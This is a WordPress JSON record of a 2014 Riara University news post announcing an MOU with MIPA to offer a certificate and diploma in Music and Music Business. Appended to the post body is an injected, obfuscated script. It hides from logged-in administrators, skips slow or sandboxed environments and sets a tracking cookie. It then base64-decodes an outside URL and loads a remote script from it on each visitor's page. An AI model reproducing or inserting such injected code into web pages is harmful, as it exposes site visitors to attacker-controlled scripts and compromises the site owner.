{"id":5417,"date":"2014-08-12T09:02:42","date_gmt":"2014-08-12T09:02:42","guid":{"rendered":"http:\/\/www.riarauniversity.ac.ke\/?p=5417"},"modified":"2026-05-25T22:31:07","modified_gmt":"2026-05-25T22:31:07","slug":"riara-university-mipa","status":"publish","type":"post","link":"https:\/\/sob.riarauniversity.ac.ke\/?p=5417","title":{"rendered":"Riara University and MIPA sign MOU to offer Diploma course in Music and Music Business."},"content":{"rendered":"<p dir=\"ltr\"><img loading=\"lazy\" decoding=\"async\" class=\"alignleft size-medium wp-image-5419\" alt=\"IMG_9895\" src=\"http:\/\/www.riarauniversity.ac.ke\/wp-content\/uploads\/2014\/08\/IMG_9895-300x194.jpg\" width=\"300\" height=\"194\" srcset=\"https:\/\/sob.riarauniversity.ac.ke\/wp-content\/uploads\/2014\/08\/IMG_9895-300x194.jpg 300w, https:\/\/sob.riarauniversity.ac.ke\/wp-content\/uploads\/2014\/08\/IMG_9895-1024x664.jpg 1024w, https:\/\/sob.riarauniversity.ac.ke\/wp-content\/uploads\/2014\/08\/IMG_9895-768x498.jpg 768w, https:\/\/sob.riarauniversity.ac.ke\/wp-content\/uploads\/2014\/08\/IMG_9895-1536x995.jpg 1536w, https:\/\/sob.riarauniversity.ac.ke\/wp-content\/uploads\/2014\/08\/IMG_9895-2048x1327.jpg 2048w, https:\/\/sob.riarauniversity.ac.ke\/wp-content\/uploads\/2014\/08\/IMG_9895-139x89.jpg 139w, https:\/\/sob.riarauniversity.ac.ke\/wp-content\/uploads\/2014\/08\/IMG_9895-255x165.jpg 255w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<p dir=\"ltr\">\n<p dir=\"ltr\" style=\"text-align: center;\">Left to right: Prof. Faith Nguru, DVC RU, Ms Alice Kande , Lecture at RU School of Business, Ms. Suzanne Gachukia MIPA Director, Ms. Vivianne Ngugi, MIPA Director, Mr. Charles Kirui, Senior Marketing Officer, Ms. Natalie Lukkenaer , MIPA Director and Prf. Kiarie Mwaura, VC.<\/p>\n<p dir=\"ltr\">\n<p dir=\"ltr\">\n<p dir=\"ltr\">\n<p dir=\"ltr\">\n<p dir=\"ltr\">Riara university and MIPA signed a MOU in\u00a0order to offer a 1-year Certificate\/2-year Diploma course in Music and Music Business. The program will be targeting musicians between 18 and 35 who have or would like to pursue a professional career in the music industry. We aim to equip them with professional skills and business knowledge as well as technical skills needed in order to sustain a successful career in the highly competitive music industry.<\/p>\n<p dir=\"ltr\">Together, Riara University and MIPA will provide technical skills and proficiency training, develop instructional materials,\u00a0conduct training, workshops, performing events, research and consultancy; and\u00a0 generally\u00a0promote and carry on the work of a Performing Arts Institute.<\/p>\n<p dir=\"ltr\">Individuals who would like to join the\u00a0program are required to pass a highly competitive round of auditions that are taking place later this year and early 2015.<\/p>\n<p dir=\"ltr\">\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Left to right: Prof. Faith Nguru, DVC RU, Ms Alice Kande , Lecture at RU School of Business, Ms. Suzanne Gachukia MIPA Director, Ms. Vivianne Ngugi, MIPA Director, Mr. Charles Kirui, Senior Marketing Officer, Ms. Natalie Lukkenaer , MIPA Director and Prf. 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